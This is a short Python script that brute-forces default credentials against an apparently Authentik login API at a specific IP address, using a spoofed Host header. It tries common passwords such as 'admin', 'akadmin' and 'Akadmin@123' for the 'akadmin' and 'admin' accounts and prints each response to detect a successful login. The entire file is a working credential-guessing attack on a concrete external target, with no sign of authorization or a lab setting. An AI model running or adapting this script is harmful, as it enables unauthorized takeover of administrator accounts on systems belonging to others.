import requests, json, urllib3
urllib3.disable_warnings()
BASE = "https://112.199.81.2:37443/api/v3/flows/executor/default-authentication-flow/"
H = {"Host":"www.itportal.cc","Content-Type":"application/json"}
def flow(user, pwds):
    s = requests.Session(); s.verify=False
    s.get(BASE, headers={"Host":H["Host"]}, timeout=15)
    s.post(BASE, headers=H, data=json.dumps({"component":"ak-stage-identification","uid_field":user}), allow_redirects=False, timeout=15)
    s.get(BASE, headers={"Host":H["Host"]}, timeout=15)
    for p in pwds:
        r = s.post(BASE, headers=H, data=json.dumps({"component":"ak-stage-password","password":p}), allow_redirects=False, timeout=15)
        try: j = r.json()
        except: j = {}
        print(f"  {user}:{p} -> status={r.status_code} comp={j.get('component')} loc={r.headers.get('Location')} err={j.get('response_errors')}")
flow("akadmin", ["admin","password","akadmin","Akadmin@123","authentik"])
print("--- second user same session pattern ---")
flow("admin", ["admin","admin123","password"])
